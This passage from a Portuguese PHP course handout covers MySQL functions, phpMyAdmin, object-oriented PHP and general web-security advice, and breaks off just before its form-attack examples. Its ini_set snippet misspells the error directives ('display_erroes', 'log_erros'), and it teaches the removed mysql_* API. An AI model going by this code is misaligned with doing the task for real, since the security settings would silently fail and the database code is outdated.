Em principio, é um servidor para enviar email, mas como o nome SMTP, que vem do inglês "Simple Mail Transfer Protocol" diz, é um Protocolo Simples de Transferência de Mensagens, eletrônicas, naturalmente. 22.4.1. Como é o protocolo SMTP? Em primeiro lugar é necessário estabelecer um canal de comunicação com o servidor. Muitas linguagens de programação oferecem alguma função que permite o estabelecimento de comunicação entre o computador cliente e o servidor. Em PHP esta função e a fsockopen() que espera como principal parâmetro, o nome do servidor para criar um socket entre o cliente e o servidor. O que é socket? Pense numa tomada de energia que liga o aparelho de som na rede elétrica, é essa a idéia. O computador cliente vai se conectar ao computador servidor através de uma ligação lógica para comunicação bidirecional. Esta ligação é chamada socket.

23. Integrando PHP com Mysql Em PHP existem funções nativas que acessam a maioria dos bancos de dados existentes, como PostgreSQL, MySQL, Oracle, Sql Server, Interbase, Sybase, Informix, DB2 e Frontbase, entre outros. O PHP conecta-se com uma enormidade de gerenciadores de bancos de dados. Para cada um existe uma gama de funções associadas para realizar as mais diversas operações, tais como conexão, consultar, retorno, desconexão e outras.

23.1. Mysql

O MySQL é um sistema de gerenciamento de banco de dados (SGBD), que utiliza a linguagem SQL (Structured Query Language - Linguagem de Consulta Estruturada) como interface. É atualmente um dos bancos de dados mais populares, com mais de 10 milhões de instalações pelo mundo. O MySQL é o gerenciador de banco de dados mais usado com o PHP. Existem muitas funções pré-definidas para manipulação de conexões com bancos de dados.

Page 76: 58777500 Apostila PHP

Projeto E-JOVEM

77

23.1.1. Conectando com o banco Para realizar qualquer operação no banco de dados, é necessário abrir uma conexão. A conexão poderá ser local ou remota e disponibiliza um recurso ou um identificador para ser utilizada em operações posteriores. mysql_connect(): tenta uma conexão com um servidor MySQL. Deve-se passer como parâmetros: o nome do servidor (ou número IP) onde o MySQL está sendo executado, o nome de usuário e a senha deste usuário. O comando alternativo die trata um possível fracasso na conexão. Sintaxe: resource mysql_connect ([ string $server [, string $username [, string $password [, bool $new_link [, int $client_flags ]]]]] ) Parâmetros:

• Server - O servidor MySQL. Também pode incluir um número de porta, exemplo "servidor:porta" ou um caminho para um socket local, exemplo ":/caminho/para/socket" para o servidor local(localhost).

• Username - O nome de usuário. O valor padrão é o nome do usuário que é o proprietário do processo do servidor.

• Password - A senha. O valor padrão é uma senha vazia.

• New_link - Se uma segunda chamada é feita a mysql_connect() com os mesmos argumentos, não é estabelecida uma nova conexão, mas ao invés, o identificador da conexão que já esta aberta é retornado. O parâmetro new_link modifica este funcionamento e faz mysql_connect() sempre abrir uma nova conexão, mesmo que mysql_connect() seja chamado antes com os mesmos parâmetros.

• Cliente_flags - O parâmetro client_flags pode ser uma combinação das seguintes constantes: MYSQL_CLIENT_SSL, MYSQL_CLIENT_COMPRESS, MYSQL_CLIENT_IGNORE_SPACE ou MYSQL_CLIENT_INTERACTIVE.

23.1.2. Selecionando uma base

Após conectarmos ao banco mysql, para manipularmos as tabelas, precisaremos selecionar um banco. Para isso usaremos a função abaixo: mysql_selectdb(): Seleciona qual base será selecionada dentro do banco de dados que foi conectado. O comando alternativo die trata um possível fracasso na seleção da base, podendo ser incluída uma mensagem customizada.

Page 77: 58777500 Apostila PHP

Projeto E-JOVEM

78

Sintaxe: bool mysql_select_db ( string $database_name [, resource $link_identifier ] ) Parâmetros:

• Database_name – nome do banco de dados

• Link_identifier - A conexão MySQL. se o identificador de conexão não for especificado, a ultima conexão aberta por mysql_connect() é assumida. Se uma conexão assim não for encontrada, ela irá tentar criar uma como se a função mysql_connect() fosse chamada sem argumentos. Se uma conexão não for encontrada ou estabelecida, um aviso de nível de erro E_WARNING é gerado.

23.1.3. Fechando uma conexão

No momento em que não precisarmos mais utilizar a conexão que abrimos com o banco, é preciso liberar esse recurso para uma possível nova conexão. Para liberar o recurso usamos a instrução close da maneira descrita a seguir: Sintaxe: bool mysql_close ([ resource $link_identifier ] ) Parâmetros:

• Link_identifier - A conexão MySQL. se o identificador de conexão não for especificado, a ultima conexão aberta por mysql_connect() é assumida. Se uma conexão assim não for encontrada, ela irá tentar criar uma como se a função mysql_connect() fosse chamada sem argumentos. Se uma conexão não for encontrada ou estabelecida, um aviso de nível de erro E_WARNING é gerado.

23.1.4. Operações no banco

Para realizarmos operações no banco de dados é necessário enviar uma instrução SQL. Está instrução poderá ser uma inserção, alteração ou exclusão de registros no banco de dados. Para executar uma SQL utilizar a função descrita abaixo: Sintaxe: resource mysql_query ( string $query [, resource $link_identifier ] )

Page 78: 58777500 Apostila PHP

Projeto E-JOVEM

79

Parâmetros:

• Query - A consulta SQL. A consulta não deve terminar com um ponto e vírgula.

• Link_identifier - A conexão MySQL. se o identificador de conexão não for especificado, a ultima conexão aberta por mysql_connect() é assumida. Se uma conexão assim não for encontrada, ela irá tentar criar uma como se a função mysql_connect() fosse chamada sem argumentos. Se uma conexão não for encontrada ou estabelecida, um aviso de nível de erro E_WARNING é gerado.

23.1.5. Consulta No caso em que precisamos buscar informações no banco de dados, utilizamos a operação de fetch. A função mysql_fetch_row

Obtém uma linha como uma array numérica

Sintaxe: array mysql_fetch_row ( resource $result ) Parâmetros:

• Result - O resultado resource que esta sendo avaliado. Este resultado vem de uma chamada a mysql_query().

A função mysql_fetch_array Obtém uma linha como uma matriz associativa, uma matriz numérica, ou ambas. Usada para buscar mais de uma linha no banco.

Sintaxe: array mysql_fetch_array ( resource $result [, int $result_type ] ) Parâmetros:

• Result - O resultado resource que esta sendo avaliado. Este resultado vem de uma chamada a mysql_query().

• Result_type - O tipo de array que deve ser obtida. é uma constante e pode ter os seguintes valores: MYSQL_ASSOC, MYSQL_NUM, e o valor padrão de MYSQL_BOTH.

Page 79: 58777500 Apostila PHP

Projeto E-JOVEM

80

24. Ferramenta para trabalhar com Mysql phpMyAdmin

24.1. phpMyAdmin

O phpMyAdmin é pretendido para administração do MySQL sobre a Web.Com o phpMyAdmin instalado em seu servidor você poderá criar banco de dados, copiar tabelas, criar, apagar e editar. Fácil configuração e administração.

O xampp que instalamos como servidor local, já contem o phpmyadmin. Digite agora no seu browser HTTP://localhost/phpmyadmin para ter o primeiro contato com o sistema. PhpMyAdmin normalmente possui dois layouts um laranja e um roxo. Muitas vezes para entrar na página inicial precisaremos efetuar login, principalmente se o servidor estiver na web, isso ocorre por segurança do banco. Ao entrar, veremos no lado esquerdo uma lista de bases que possuímos e no centro um formulário onde poderemos criar uma nova base.

24.1.1. Criando uma nova base Para criar uma base pelo PhpMyAdmin é bem simples, basta dizer o nome da nova base e clicar em criar. Pronto sua base já está criada. 24.1.2. Manipulando tabelas Para criar tabela, excluir e alterar serão feitos de uma forma semelhante, sendo muito fácil também. Veja como criar uma tabela abaixo: Digite o nome da tabela e a quantidade de campos e clique em executar. Agora iremos cadastrar os campos que a tabela irá possuir. Para isso digite o nome do campo, defina seu tipo, seu tamanho, caso seja a chave primaria, selecione o radio Button. Se preferir que o mysql torne o id auto incrementado, selecione-o no combo extra. Isso fará com que todos os ids inseridos sejam incrementados para cada insert na tabela. Depois clique em salvar. Para excluir uma tabela, basta clicar no botão eliminar. 24.1.3. Manipulando campos Para adicionarmos um novo campo numa tabela já existente, informamos a quantidade de campos e sua localização na tabela. E clicamos em executar. Então preenchemos os dados da mesma forma que preenchemos quando criamos uma tabela. Para editar um campo, clicamos no ícone do lápis. Os dados virão preenchidos e poderemos alterá-los. Para excluir um campo, clicamos no ícone do X. irá aparecer uma caixa de confirmação, clicando em ok o campo será excluído.

Page 80: 58777500 Apostila PHP

Projeto E-JOVEM

81

24.1.4. Manipulando registros Para inseri um novo registro na tabela que criamos, clique no botão inserir. Preencha os dados e clique em executar. Para visualizar os registros de uma tabela, clique no botão visualizar. Serão listados todos os registros da tabela. Para editar um registro clicaremos no ícone do lápis e para excluir no X. o processo que será realizado será parecido com o da tabela.

24.1.5. Importando e Exportando bases Para exportar uma base clique no meu exportar na tela inicial da base. Será possível então selecionar quais bases e qual a forma em que iremos exportar. Como diversas outras opções. Após clique em executar. Para importar clique em importar na tela inicial da base, procure pelo arquivo (*.SQL) e clique em executar.

24.1.6. Operações com bases Clique em operações para visualizar as operações que poderemos realizar com a base. Como por exemplo, criar tabela, comentar, renomear e copiar o banco.

24.1.7. Operações com tabelas Clique em operações da tabela para visualizar as operações que poderemos realizar. Como por alterar, mover ou copiar a tabela.

25. Introdução a OO com PHP

25.1. O que é OO? Orientação a objetos (OO) é um paradigma de desenvolvimento de softwares. Que em vez de construir um sistema baseado num conjunto de procedimentos e variáveis, que nem sempre são agrupados de acordo com o contexto, na orientação a objetos utiliza-se uma ótica mais próxima do mundo real, onde se liga com objetos, onde muitas vezes são estruturas já conhecidas no dia-a-dia e as quais são mais bem-compreendidas. 25.2. Introdução

No PHP, a orientação a objetos foi introduzida a partir da versão 3, no qual os objetos eram implementados por meio de arrays associados e tinha um suporte a características fundamentais como herança. O PHP5 introduziu varias novidades para trabalharmos com programação orientada a objetos.

Page 81: 58777500 Apostila PHP

Projeto E-JOVEM

82

25.3. Recursos de OO presentes no PHP

Atualmente, para trabalharmos OO com PHP temos disponíveis os seguintes recursos:

• Classe

• Objeto

• Herança

• Polimorfismo

• Abstração

• Encapsulamento

• Interfaces

Vantagens

• Vantagens Diretas - maior facilidade para reutilização de código e por conseqüência do projeto - possibilidade do desenvolvedor trabalhar em um nível mais elevado de abstração - utilização de um único padrão conceitual durante todo o processo de criação de software - maior adequação à arquitetura cliente/servidor - maior facilidade de comunicação com os usuários e com outros profissionais de informática.

• Vantagens Reais - ciclo de vida mais longo para os sistemas - desenvolvimento acelerado de sistemas - possibilidade de se construir sistemas muito mais complexos, pela incorporação de funções prontas - menor custo para desenvolvimento e manutenção de sistemas.

Desvantagens

• Complexidade no aprendizado para desenvolvedores de linguagens estruturadas • Maior esforço na modelagem de um sistema OO do que estruturado (porém menor

esforço de codificação, sendo uma vantagem), • Funcionalidades limitadas por interface, quando estas estão incompletas (problemas na

modelagem) • Dependência de funcionalidades já implementadas em superclasses no caso da herança,

implementações espalhadas em classes diferentes.

25.4. Classe A classe é uma estrutura estática e será útil para descrever os objetos, seus atributos (propriedades) e métodos (funcionalidades). A classe é um modelo ou template para criação destes objetos.

Page 82: 58777500 Apostila PHP

Projeto E-JOVEM

83

Podem ser classes, qualquer entidade do negócio da sua aplicação (Usuário, Cliente, Filme). No momento que modelamos um Cliente, por exemplo, são suas propriedades (nome, idade, sexo) e temos como métodos, funcionalidades desempenhadas pela classe. No caso de Cliente, poderiam ser métodos (Comprar (), Alugar (), Vender ()).

25.5. Objeto Um objeto é uma estrutura dinâmica originada a partir de uma classe. Assim que utilizarmos uma classe para criar diversas estruturas iguais a ela. Pode-se dizer que um objeto é uma instância de uma classe, pois a existência de um objeto se dá desde sua criação até sua destruição. São objetos da Classe Cliente Filippe, Renato, Rafael.

25.6. Herança Com herança podemos reaproveitar uma estrutura já existente, que forneça uma base abstrata para o desenvolvimento, provendo recursos básicos comuns. Herança pode ter uma aplicabilidade muito grande, pois é comum termos que criar novas funcionalidades em software.

25.7. Polimorfismo Polimorfismo é o principio que permite que classes derivadas de uma mesma superclasse tenham métodos iguais, possuindo a mesma nomenclatura e parâmetros, mas comportamentos diferentes, redefinidos em cada uma das classes filhas.

25.8. Abstração Na orientação a objetos prega-se o conceito da abstração. Para construirmos um sistema orientado a objetos, deve-se separá-lo em partes, concentrando nas partes mais importantes e ignorando os detalhes em um primeiro momento, para poder construir peças bem-definidas a fim de que as mesmas possam ser reaproveitadas mais tarde, formando uma estrutura de hierarquia.

25.9. Encapsulamento Encapsulamento é o mecanismo de proteção dos acessos a membros internos de um objeto. Dessa forma certas propriedades de uma classe devem ser tratadas exclusivamente por métodos da mesma. As propriedades nunca devem ser acessadas diretamente de fora do escopo de uma classe, pois assim a classe não fornece mais garantias sobre os atributos que contém, perdendo, então, a responsabilidade sobre eles.

25.10. Associação É uma relação mais comum entre dois objetos, na qual um possui uma referência à posição da memória onde o outro se encontra, podemos visualizar seus atributos ou, mesmo, acionar uma de seus métodos.

Page 83: 58777500 Apostila PHP

Projeto E-JOVEM

84

25.11. Agregação Na agregação, um objeto agrega outro, ou seja, torna um objeto externo parte de si mesmo pela utilização de um dos seus métodos. Assim o objeto-pai poderá utilizar funcionalidades do objeto agregado. Nessa relação, um objeto poderá agregar uma ou muitas instâncias de um outro objeto.

25.12. Composição A composição e agregação são praticamente iguais. A diferença em relação à agregação é que na composição o objeto-pai é responsável pela criação e destruição de suas partes. Na agregação, ao se destruir um objeto, as partes permanecem na memória por terem sido criadas fora do escopo da classe. Já na composição, ao se destruir um objeto, as partes também serão destruídas.

25.13. Interfaces Interface é um contrato entre a classe e o mundo externo. Quando uma classe implementa uma interface, ela está comprometida a fornecer o comportamento publicado pela interface

26. Definindo uma Classe Uma classe não é necessariamente, utilizada para orientação a objetos. Podemos criar classe para as mais diversificadas operações. Geralmente criamos classes para serem reutilizadas em outros softwares que desenvolvemos. Por exemplo, podemos criar uma classe para gerenciar a conexão com o banco de dados, uma classe para juntarmos as funções mais usadas ou até mesmo uma classe para calcularmos dois valores. Uma classe é uma coleção de variáveis e funções trabalhando com essas variáveis. Variáveis são definidas por var e funções por function. Uma classe é definida usando a seguinte sintaxe: <?php class CarrinhoDeCompras { var $items; // Itens do carrinho de compras // Acrescenta a quantidade $num do artigo $artnr no carrinho function add_item($artnr, $num) { $this->items[$artnr] += $num; } // Retira a quantidade $num de artigos $artnr do carrinho function remove_item($artnr, $num) { if ($this->items[$artnr] > $num) { $this->items[$artnr] -= $num; return true; } elseif ($this->items[$artnr] == $num) { unset($this->items[$artnr]);

Page 84: 58777500 Apostila PHP

Projeto E-JOVEM

85

return true; } else { return false; } } } ?> Isto define uma classe chamada CarrinhoDeCompras que consiste de uma matriz associativa de artigos no carrinho e duas funções para acrescentar e remover itens deste carrinho.

26.1. Padrão de codificação As classes devem indicar exatamente sua finalidade. Não deve haver dúvidas ao leitor do código sobre o que está sendo armazenado na variável ou sobre o que será executado/retornado numa função. Evite utilizar abreviações principalmente as que não são de domínio público. A utilização de prefixos é óbvia para o desenvolvedor que escreveu o código, mas pode não ser para quem está lendo. Prefixos aumentam a quantidade de conhecimento que um desenvolvedor deve possuir para nomear uma simples variável.

Nomes de classes devem representar tipos. Devem iniciar com letra maiúscula. As demais letras serão minúsculas, exceto no início de cada palavra. Exemplo:

ERRADO

function objetoOperaçãoEntrega() { this.propriedade = 'Teste' }

CORRETO

function OperacaoEntrega() { this.propriedade = 'Teste' } Lembre-se: Não devem ser utilizados caracteres especiais ou acentos em nomes de classes. Você NÃO pode quebrar uma definição de classe em múltiplos arquivos. Você NÃO pode também quebrar a definição de uma classe em múltiplos blocos PHP, a menos que a quebra esteja dentro de uma declaração de método. O seguinte não irá funcionar:

Page 85: 58777500 Apostila PHP

Projeto E-JOVEM

86

<?php class Test { ?> <?php function test() { print 'OK'; } } ?> Entretanto, o seguinte é permitido: <?php class Test { function test() { ?> <?php print 'OK'; } } ?>

Os cuidados a seguir devem ser tomados a partir do PHP 4:

• O nome stdClass é utilizado internamente pela Zend e é uma palavra reservada. Você não pode ter uma classe chamada stdClass no PHP.

• O nome de função __sleep e __wakeup são classes especiais do PHP. Você não pode ter esses nomes em nenhuma de suas classes a não ser que você deseje aplicar essa funcionalidade especial.

• O PHP reserva todos os nomes de funções começando com __ como especiais. É recomendável que você não utilize nome de funções começando com __ no PHP a não ser que você precise dessas funcionalidades especiais.

26.2. Usando $this

Para poder acessar suas próprias funções e variáveis de dentro da classe, pode-se utilizar a pseudo-variável $this, que pode ser lida como 'eu mesmo' ou 'objeto atual'. Dessa forma, '$this->valor += $num' pode ser lido como 'acrescente $num para o contador $valor '.

Nota: A pseudo-variável $this não é normalmente definida em um método que seja chamado estaticamente. Isto não é, entretanto, uma regra estrita: $this é definido se um método é chamado estaticamente a partir de outro objeto. Neste caso, o valor de $this será do objeto que o chamou.

26.3. PHPDoc

PHPDoc foi baseado no JAVADoc da Sun e tem como objetivo padronizar a documentação de códigos PHP. Ele lê o código e analisa gramaticalmente procurando por tags especiais. A partir delas extrai toda documentação usando diferentes formatos (pdf, xml, html, chm

Page 86: 58777500 Apostila PHP

Projeto E-JOVEM

87

Windows help e outros). Todas as tags especiais são escritas dentro do comentário do php /* comentários */ e necessariamente começam com o @ (arroba). Descrição de algumas tags especiais: @access Especifica o tipo de acesso(public, protected e private). @author Especifica o autor do código/classe/função. @copyright Especifica os direitos autorais. @deprecated Especifica elementos que não devem ser usados. @exemple Definir arquivo de exemplo, $path/to/example.php @ignore Igonarar código @internal Documenta função interna do código @link link do código http://www.exemplo.com @see @since @tutorial @name Especifica o apelido(alias). @package Especifica o nome do pacote pai, isto ajuda na organização das classes. @param Especifica os paramêtros muito usado em funções. @return Especifica o tipo de retorno muito usado em funções. @subpackage Especifica o nome do pacote filho. @version Especifica a versão da classe/função. 26.4. Comentando sua classe

Existem alguns padrões de comentários que podem ser seguidos para que sua classe fique melhor compreendida quando precisarmos revisar algo após um longo período de tempo. Lembre-se que é muito importante comentar o máximo para evitar um trabalho a mais na hora que formos manter o software. <?

/** * Esta classe é a responsável por calculos do sistema. * @author Seu Nome <[email protected]> * @version 1.0 * @copyright Copyright © 2002, Minha Empresa S/A. * @access public * @package Utils * @subpackage Calculos */ class Calcular{ /** * Variável recebe o primeiro valor.

Page 87: 58777500 Apostila PHP

Projeto E-JOVEM

88

* @access public * @name $valor1 */ var $valor1; /** * Variável recebe o segundo valor. * @access public * @name $valor2 */ var $valor2; /** * Função para somar dois valores * @access public * @param int $primeiroValor * @param int $segundoValor * @return itn */ function somar($primeiroValor, $segundoValor){ $this->valor1 = $primeiroValor; $this->valor2 = $segundoValor; return $this->valor1 + $this->valor2; } } $calc = new Calcular(); print $calc->somar(5, 20);

?>

27. Construtores e Destrutores

27.1. Construtores

Construtor é um método especial que utilizamos para definir o comportamento inicial de um objeto, ou seja, o comportamento no momento de sua criação. O método construtor será executado automaticamente no momento em que se instância um objeto utilizando o operador new. Caso não defina um método construtor, todas as propriedades do objeto criado serão automaticamente inicializadas com o valor default NULL. Para definirmos um construtor na classe, basta declarar o método __Construct() ou o próprio nome da classe. Veja o exemplo: <? class Calcular{ var $valor1; var $valor2;

Page 88: 58777500 Apostila PHP

Projeto E-JOVEM

89

function __construct($primeiroValor, $segundoValor){ $this->valor1 = $primeiroValor; $this->valor2 = $segundoValor; } function somar(){ return $this->valor1 + $this->valor2; } } $calc = new Calcular(5, 20); print $calc->somar(); ?> Observe que agora estamos enviando os valores no momento que criamos o objeto, não sendo mais necessário o envio ao chamar o método de somar. 27.2. Destrutores

Destrutor é um método especial que é executado automaticamente quando o objeto é desalocado da memória, quando atribuímos o valor NULL ao objeto, quando utilizamos a função unset() sobre o mesmo ou quando o programa é finalizado. Podemos usar o método destrutor para finalizar conexões, apagar arquivos temporários, entre outros. Para definirmos um método destrutor em uma classe, basta declarar o método __destruct(). Altere a classe Calcular e teste no seu browser.

function __destruct(){ print "Classe Calcular foi finalizada."; }

27.3. Encapsulando atributos e métodos

Uma das formas de definirmos um encapsulamento é definindo a visibilidade das propriedades e métodos de um objeto. A visibilidade define a forma como essas propriedades devem ser acessadas. Há três formas de acesso: • Private – membros declarados como private, só poderão ser acessados dentro da própria

classe na qual foram declarados. Não podendo ser acessados a partir de classes descendentes nem a partir do programa que faz uso dessa classe.

• Protected – membros declarados como protected, só poderão ser acessados dentro da

própria classe a qual foram declarados e a partir de classes descendentes. Mas não poderão ser acessados a partir do programa que faz uso dessa classe.

• Public – membros declarados como public, poderão ser acessados livremente a partir da

própria classe na qual foram declarados, a partir de classes descendentes e a partir do programa que faz uso dessa classe.

Page 89: 58777500 Apostila PHP

Projeto E-JOVEM

90

private $valor1; private $valor2; public function __construct($primeiroValor, $segundoValor){ $this->valor1 = $primeiroValor; $this->valor2 = $segundoValor; }

27.4. Criando uma Interface

Como vimos anteriormente, uma interface é um contrato entre a classe e o mundo externo. Quando uma classe implementa uma interface, ela está comprometida a fornecer o comportamento publicado pela interface. Criaremos uma interface ICalcular para a classe Calcular onde o método soma será obrigatoriamente implementado. Note que o nome da classe interface contem um “I” i maiúsculo, esse é um padrão a ser seguido. Arquivo: ICalcular.php

<? interface ICalcular{ public function somar(); } ?>

Arquivo: Calcular.php <? require_once("ICalcular.php"); // inclui o arquivo ICalcular.php class Calcular implements ICalcular{ // implementa a interface ICalcular private $valor1; private $valor2; public function __construct($primeiroValor, $segundoValor){ $this->valor1 = $primeiroValor; $this->valor2 = $segundoValor; }

Page 90: 58777500 Apostila PHP

Projeto E-JOVEM

91

public function somar(){ return $this->valor1 + $this->valor2; } public function __destruct(){ print "Classe Calcular foi finalizada."; } } $calc = new Calcular(5, 20); print $calc->somar(); print "<br>"; $calc = NULL; ?> Veja como foi simples, a interface apenas define que o método será obrigado a existir na classe. Ela não possui construtor, destrutor e nenhum outro tipo de funcionalidade.

28. Instanciando um Objeto O operador new Você pode criar uma variável (ou instância) do tipo desejado com o operador new. Veja o exemplo abaixo: <?php $carrinho = new CarrinhoDeCompras(); $carrinho->add_item("10", 1); $outro_carrinho = new CarrinhoDeCompras(); $outro_carrinho->add_item("0815", 3); ?> Isto cria os objetos $carrinho e $outro_carrinho, ambos a partir da classe CarrinhoDeCompras. A função add_item() do objeto $carrinho foi chamada e acrescentou 1 item do artigo número 10 a $carrinho. 3 itens do artigo número 0815 foi acrescentado no $outro_carrinho. Ambos, $carrinho e $outro_carrinho, tem as funções add_item(), remove_item() e a variável itens. Elas são funções e variáveis distintas entre si. Você pode pensar no objetos como os diretórios de um sistema de arquivos. Num disco você pode ter dois arquivos diferentes README.TXT, partindo de que eles estão em diretórios diferentes. Da mesma forma que você teria de especificar o caminho completo para acessar cada arquivo a partir do diretório principal, você também tem de especificar o nome completo do objeto e função que você quer chamar. No PHP o diretório principal pode ser o escopo global de nomes, e o separador de diretórios ->. Portanto, os nomes $carrinho->items e $outro_carrinho->items são duas variáveis diferentes. Note que a variável é chamada $carrinho->items, não $carrinho->$items, mesmo porque, um nome de variável em PHP tem apenas um único sinal de cifrão.

Page 91: 58777500 Apostila PHP

Projeto E-JOVEM

92

29. Trabalhando a segurança do seu sistema

29.1. Segurança

Boas linguagens de programação, não podem ser consideradas por si só seguras ou inseguras, a segurança dependerá de todo o projeto e mais especificamente do código do programa.

A segurança de um sistema deve ser balanceada com o custo e a usabilidade do projeto. Projetos feitos com um pequeno nível de segurança são mais custosos do que projetos sem segurança. Por isso precisamos definir o nível de segurança com cautela no inicio do projeto. Para não torná-lo economicamente inviável ou até mesmo complicado de mais de ser implementado.

29.2. Usabilidade versus segurança

O uso do seu sistema se tornará mais complicado, quanto maior for o número de recursos de segurança presentes no seu sistema. Um exemplo muito popular é o internet banking. Esse sistema precisa ser muito fácil de ser usado, mas contar com recursos de segurança bastantes confiáveis. Para tanto usam:

• Login (geralmente numero da agência e da conta) • Senha • Palavra secreta ou contra-senha (senha especial para acesso na internet) • Número sorteado do cartão de chaves de acesso (token)

Tanta segurança tem acarretado numa maior dificuldade para seus clientes usarem o sistema. Fazendo com que muitos procurem a agência por não terem de aprender a usar o sistema ou não confiarem.

Para programarmos recursos de segurança levamos em consideração os itens:

• Valor da informação manipulada • Perfil do usuário • Faixa etária • Nível de instrução • Finalidade do sistema (lazer ou trabalho) • Hardware usado

29.3. Postura de Defesa

Precisamos manter uma postura de defesa, onde procuramos manter informações protegidas. Mesmo que a informação não seja importante ou confidencial, terceiros não poderão tirar proveitos dessas informações. Quanto menos souberem sobre o seu sistema, mais privativo ele será e, conseqüentemente, mais segurança.

Page 92: 58777500 Apostila PHP

Projeto E-JOVEM

93

29.4. Desempenho

Um bom sistema deve possuir tudo no qual foi planejado e ainda:

• Consumir o mínimo de tempo de CPU para ser executado. • Alocar a menor quantidade de memória. • Gravar todos os dados necessários usando o menor espaço em disco. • Utilizar a rede interna e a internet de forma econômica e racional.

Se uma página web possuir poucos recursos para serem geradas, o servidor suportará então múltiplas requisições, podendo assim atender um maior numero de conexões simultâneas. 29.5. Usuários Ilegítimos

Geralmente definimos um sistema baseado nos usuários legítimos. Precisamos mudar esse conceito. O desenvolvedor precisa pensar primeiro nos usuários ilegítimos para depois pensarmos nos usuários reais do sistema.

Essa técnica é muito simples, mais depois de projetada, a programação ganhará em velocidade, e como já sabemos, tempo é dinheiro.

29.6. Filtro de Dados

Tudo que vir de uma fonte externa deverá ser inspecionado. Com isso o que for digitado pelo usuário, coletados de arquivos, enviados por formulários, ou até interações feitas com servidores de banco de dados devem passar por um filtro.

Um filtro é uma das formas mais significantes de segurança. Precisamos sempre fazer checagem dos dados tanto no cliente (browser) como no servidor (PHP).

29.7. Manipulação de Erros

Todos que navegam pela internet, já devem ter se deparado com algum site indisponível.

O erro nesse caso não é o site está indisponível, afinal problemas podem acontecer. A gravidade consiste em, quando ocorrem problemas, informações como endereço do servidor de banco de dados, variáveis do sistema e outras informações serem exibidas pelo browser, assim pessoas mal intencionadas poderão tirar proveito dessa falha e prejudicar o sistema.

29.8. Limitador de Acesso

Um limitador de acesso é mais um recurso para ser implementado em um projeto com foco em segurança.

Um exemplo típico é uma função que reage a tentativas mal sucedidas de login por um usuário, o que pode ser caracterizada como uma possibilidade de quebrar uma senha. Também pode ser conhecido como rate limit.

Page 93: 58777500 Apostila PHP

Projeto E-JOVEM

94

29.9. Segurança na Internet

Podemos citar alguns problemas relacionados a segurança da web:

• Informações transmitidas entre o servidor web e browser poderiam ser interceptadas por um sniffer. Esse problema pode ser solucionado usando protocolos de criptografia (HTTPS, SSL, TLS).

• Problemas no servidor web poderiam facilitar o vazamento de informações confidenciais. Embora esse risco exista, os servidores web estão bem mais robustos e estáveis, atualmente sendo um risco bem menor.

• Problemas com o browser também podem fazer com que informações confidenciais também vazem. Esse problema não foi completamente resolvido, mas temos disponível pelo menos meia dúzia de browsers de boa qualidade.

Problemas que ainda não foram realmente apresentadas uma solução são:

• Um programa (CGI, PHP, etc.) com alguma falha de programação pode abrir precedentes para que um servidor ou até mesmo uma rede inteira esteja exposto.

• Com o avanço tecnológico, é comum uso de softwares de terceiros associados tanto ao servidor web como ao browser. Esses programas são conhecidos como plugins e extenções. Aqui existe um risco especial, pois um terceiro (fabricante do plugin) está envolvido no processo em que inicialmente havia apenas duas entidades (servidor web e browser).

29.10. Estrutura de um Projeto

Aplicações web precisam manter em algum lugar informações que não podem ser visualizado de modo algum tato por usuários da web quanto pelos usuários do sistema operacional. Geralmente precisamos armazenar dados de acesso a bancos de dados, senhas para acesso a outros sistemas e talvez uma senha mestre para administração do site.

Como exemplo, poderíamos estar usando um arquivo chamado config.inc para armazenar as informações de configuração do banco. Como a extensão .inc não é conhecida pelo servidor, se digitássemos no browser o caminho HTTP://www.meuservidor.com.br/config.inc todas as informações contidas no arquivo seriam exibidas. Uma forma de conter isso seria renomear o arquivo de inclusão para config.inc.php

29.11. Configuração do PHP

A configuração do PHP é feira no arquivo php.ini. Existem diferenças entre configuração do PHP em ambiente de desenvolvimento e em um ambiente de produção. São eles:

• Ambiente de desenvolvimento – deve proporcionar uma grande quantidade de informações para que o programa possa ser escrito da melhor forma possível.

Page 94: 58777500 Apostila PHP

Projeto E-JOVEM

95

• Ambiente de produção – deve oferecer as informações necessárias para os usuários usufruírem da aplicação com o melhor desempenho possível e com a segurança esperada.

É importante ressaltar que, ao modificar qualquer uma diretriz do PHP, o servidor precisará ser reiniciado para que as alterações entrem em vigor. Vejas diretrizes que poderemos alterar no php.ini:

• Register_globals: [on | off] – tem a função de registrar automaticamente variáveis que foram enviadas pelos métodos POST, GET e pelo uso de cookies.

• Display_erros: [on | off] – serão exibidas mensagens de alerta no decorrer da execução do script. Podemos usá-la como “ON” em ambiente de desenvolvimento, mas em ambiente de produção o essa diretriz precisa está configurada como “OFF”.

• Log_erros: [on | off] – essa diretriz completa a display_erros. Ao habilitar, erros ocorridos serão gravados no arquivo de erro do apache.

• Upload_max_filesize: 2M – define o tamanho máximo para upload de arquivos. • Include_path: “.” – especifica a lista de diretórios em que a função include() e suas

variantes procurarão o arquivo.

29.12. Gerenciamento de Erros

Manipular erros e avisos é uma tarefa muito importante, mais muitos programadores e administradores de sistemas não conferem a isso a devida importância.

É muito importante que mensagens internas com informações do sistema não sejam exibidas para o usuário final, obviamente não só pela razão estética, mas principalmente para evitar incidentes de segurança, pois quase sempre as informações provenientes de uma exceção gerada pelo sistema exibem nomes de funções, classes, variáveis, seus valores e outras informações.

Podemos manipular erros com a função set_error_handler(). Essa função pode ser usada para definir como manusear os erros durante a execução do script. Ela envia a mensagem de erro para uma função definida pelo programados. Essa função precisa aceitar cinco parâmetros, são eles:

1. Código do erro. 2. Descrição do erro. 3. Nome do arquivo envolvido no problema (opcional). 4. Número da linha que houve o erro (opcional). 5. Contexto em que o erro aconteceu (opcional). É um array que aponta para a tabela de

símbolos ativos na posição em que ocorreu o erro, ou seja, esse array conterá todas as variáveis que existiam no escopo de execução no momento do erro.

Page 95: 58777500 Apostila PHP

Projeto E-JOVEM

96

29.13. Configuração de servidores Compartilhados

Talvez seu sistema PHP esteja hospedado num servidor compartilhado com vários outros sistemas de terceiros. Neste caso certamente a empresa de hospedagem não permitirá que as diretrizes de configuração do PHP sejam alteradas, afinal isso poderia causar problemas para seus clientes. Nesses casos é possível usar a função ini_set().

A função ini_set() define valores às diretrizes de configuração do PHP, e esses valores são validos durante a execução do script. Dessa forma, é interessante manter as configurações das diretrizes em um arquivo separado e incluí-lo no início da execução do programa com a função include().

Exemplo:

<?php

ini_set('display_erroes','off');

ini_set('log_erros','on');

ini_set('error_log','../log/php_error.log');

?>

29.14. Ataques pelos Formulários

Por ser um meio de entrada legitimo de dados, os formulários são usados como porta de entrada para ataques. Isso se os dados que forem enviados por formulários não forem tratados da forma correta. Veja os exemplos:

